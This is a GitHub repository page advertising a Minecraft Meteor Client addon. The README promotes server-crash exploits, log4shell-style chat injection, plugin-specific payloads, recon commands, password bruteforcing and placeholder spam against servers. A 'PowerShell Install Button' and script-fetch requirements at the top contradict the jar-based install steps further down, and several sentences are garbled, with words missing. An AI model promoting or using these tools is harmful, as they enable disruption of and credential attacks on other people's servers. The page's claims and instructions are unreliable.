Skip to content

Latest commit

 

History

10 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🔧 CrashUtils Addon: Exploit-Powered Mayhem for Windows

📦 PowerShell Install Button

ps-core win downloads stage


CrashUtils Addon is a Fabric-side toolkit for anyone who likes to poke at the seams of a server and see what wobbles loose. It bundles a pile of exploits borrowed projects, plugin bugs worth testing, and a few utilities like password bruteforce and placeholder spam, all exposed through Meteor Client with channels, pluginlookup, and registerable modules built for tinkerers. If you know your way around a module class and enjoy a command that lists every active channel, you'll feel right at home wiring in your own additions. Fair warning: the mod has more bugs than the ones it exploits, so bring curiosity and a backup world.

📋 System Requirements

  • PowerShell 5.1+ (pre-installed on Windows 10 and 11)
  • Windows 10 / 11 (x64)
  • Internet connection — required to fetch the script
  • Administrator — not required

Features

Exploits harvested the wild. This addon is a curated arsenal: Brigadier packet abuse, bundle overflow tricks, invalid-position and negative-infinity position shenanigans, and the notorious Paper window exploit — all wired into modules you can toggle on the fly. Point, click, and watch the server sweat.

Plugin bug catalog. Built for the tinkerers, CrashUtils ships a growing library of plugin-specific payloads: chat hacks that ride log4shell-style injection paths compromised plugins, plus targeted exploits for trade systems, lpx, wFurnace, WGCalc, Multiverse, fawe, and cmi. If a plugin leaks it, this addon probably pokes it.

Command-line recon. Two lightweight commands do the heavy lifting:

  • channels — dumps every active channel on the server, with red and green status indicators showing whether each one is sendable.
  • pluginlookup — quietly enumerates plugins straight the tab completer, so you know exactly what you're up against before you throw anything.

Utility belt. PasswordBruteforce grinds credentials the patient way, while PlaceholdersSpam floods the placeholder pipeline — perfect for stress-testing plugin resilience (or just annoying it).

Built to be hacked on. Every module and command is registered through exposed hooks in the core class, so adding your own is as easy as extending the standard Module class and registering it. Want to expand the exploit collection? Fork it, wire it up, and send a pull request — the addon grows with the community. Fair warning: the mod has more bugs than this list admits, and half the fun is finding them.

Installation

So you want to bolt CrashUtils Addon onto your Fabric client. Good choice — let's get you wired up before anything explodes (intentionally, of course).

First, make sure your nest is ready. You'll need Java 25 humming along, a Minecraft 26.1.2 installation you can actually launch, and the Fabric API sitting in your mods folder. CrashUtils Addon doesn't stand alone — it rides on top of Meteor Client, so Meteor needs to be present and happy before you even think about dropping this in. If your client won't boot with Meteor on its own, fix that first; this addon will not magically patch an unstable base.

With the foundation solid, grab the CrashUtils Addon build that matches your Meteor and Minecraft versions, then slide the jar straight into your mods directory alongside Fabric API and Meteor Client. Keep the folder clean — a graveyard of half-forgotten jars addons is the fastest way to a crash you didn't ask for. If you maintain multiple clients for different servers, give CrashUtils its own profile rather than sharing one cluttered mods folder across everything.

Launch the game, let Fabric do its thing, and open your Meteor Client menu. CrashUtils Addon registers itself into the Meteor systems, so its modules and commands should appear as soon as the client finishes loading. If you poke around the commands and don't see the addon's entries showing up, the jar probably didn't load — check that it's the right build for your Fabric and Meteor versions before assuming something is broken.

A word of caution one modder to another: this addon pulls in exploit modules and plugin-probing utilities. Point it at your own test servers or a local setup first. Learn what each module actually does before you aim it at anything live, because " exploits mods" is exactly as spicy as it sounds. Break things responsibly, back up your configs, and when something unexpected happens — and with this addon, something usually does — check the log before you blame the mod. Half the time it's another jar arguing with this one.

Happy crashing. 🛠

Compatibility

Meteor Client? Yes — CrashUtils Addon is built to slot straight into your Meteor setup. If Meteor Client runs, this addon runs alongside it.

Fabric API? Absolutely required. The addon rides on Fabric's hook system; without it, nothing loads. Keep it in your mods folder.

Java version? Must match the Minecraft release you're targeting — older JVMs will refuse to launch the addon. Don't mix and match.

** addons?** Generally friendly. CrashUtils Addon doesn't rewrite core Meteor systems, so popular addons coexist without fireworks. Still, if you stack multiple exploits that touch the same packet path, expect occasional grumbles — test one at a time if something smells broken.

Plugin-side surprises? The exploit modules assume certain plugin behaviors (Brigadier, trade systems, chat handlers). Different server plugins respond differently — some patched, some not. That's part of the fun; if a module silently does nothing, the server likely hardened its side.

Custom modules and commands? They register cleanly alongside the addon's own systems. If you're extending it, treat the addon's registration points as your playground — no compatibility shims needed.

When things collide: start by removing addons that touch similar internals, confirm the base mod loads, then reintroduce mods one at a time. Nine times out of ten, the culprit reveals itself fast.

Bottom line: pair it with Meteor, keep Fabric API handy, match your Java version, and stay curious. The addon is happiest when it's the troublemaker, not the victim.

Credits

This addon didn't come together in a vacuum — it's standing on the shoulders of some excellent tinkering.

First and foremost, the CrashUtils Addon owes its existence to the original CrashUtils project and the whole Fabric modding scene that made addon work possible in the first place. The Meteor Client ecosystem — its addon template and module/command conventions — gave this project the scaffolding it needed to grow. A tip of the hat as well to the various client-side projects whose exploit research and plugin-bug spelunking inspired several of the features bundled here, and to everyone who's filed a bug, poked at the edge cases, or otherwise helped this thing misbehave in just the right ways.

Shout-outs to the original CrashUtils author and community for the foundation, to the Fabric and Meteor dev crews for the tooling, and to every modder who's ever pulled apart a plugin to see what makes it tick. You know who you are — and so do the plugins.

Special thanks to the testers who bravely ran early builds on servers that shall remain nameless, and to anyone who's added a channel, stress-tested a placeholder, or simply enjoyed watching things do exactly what they shouldn't. This mod exists because of the modding spirit: curious, irreverent, and always a little bit chaotic.

(the mod has more bugs — and more credits to come)

License

The spirit of this addon is simple: take it, break it, learn it, and give back if you can. CrashUtils Addon is released under the Apache License 2.0 — the same open, permissive license that lets you dig through the source, remix the exploit logic, and ship your own flavor of chaos without asking permission first. Fork it, gut it, rewrite the module registrations to your liking; just keep the original notices and attribution intact where the license asks for them.

If you patch a nasty bug, port an exploit to a newer Meteor build, or add a plugin bug worth bragging about, a pull request back upstream is always welcome — modders helping modders is the whole point. Credit the original project when you publish derivatives, don't rename the whole thing and pretend it's yours, and generally treat the codebase the way you'd want yours treated.

There's no warranty hiding in the fine print — the addon is provided as-is, and if a rogue exploit does something unexpected on a server, that's on you to test responsibly. Run it on your own setups first, respect the people whose servers you're on, and remember the real license to have fun here is curiosity. The full Apache 2.0 terms apply as written; this section is just the friendly handshake on top.

Releases

Packages

Contributors

Languages